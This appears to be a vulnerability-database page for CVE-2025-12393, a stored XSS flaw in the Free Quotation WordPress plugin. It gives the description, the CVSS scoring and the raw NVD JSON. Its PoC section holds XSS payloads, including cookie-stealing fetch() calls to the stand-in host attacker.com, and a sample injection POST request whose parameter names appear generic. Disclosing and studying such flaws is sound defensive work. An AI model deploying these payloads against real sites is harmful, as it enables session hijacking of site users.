Security Vulnerability Report
中文
CVE-2025-12393 CVSS 4.4 MEDIUM

CVE-2025-12393

Published: 2025-11-04 05:16:12
Last Modified: 2026-04-15 00:35:42

Description

The Free Quotation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Free Quotation插件 < 3.1.7
Free Quotation插件 ≤ 3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12393 PoC: Stored XSS in Free Quotation Plugin Admin Settings --> <!-- Login as Administrator, go to plugin settings and inject the following payload --> <!-- Basic XSS Payload --> <script>alert('XSS')</script> <!-- Cookie Stealing Payload --> <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> <!-- Session Hijacking Payload --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+btoa(document.cookie))"> <!-- POST Request to inject payload via settings --> <!-- Assumes attacker has admin access to WordPress admin panel --> POST /wp-admin/admin.php?page=free-quotation-settings HTTP/1.1 Host: target.com Cookie: [admin cookies] Content-Type: application/x-www-form-urlencoded quotation_settings[custom_field]=<script>alert(document.domain)</script>&action=save

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12393", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:11.973", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Free Quotation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/free-quotation/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c441ceb-0363-4117-afd6-afa253343cbe?source=cve", "source": "[email protected]"}]}}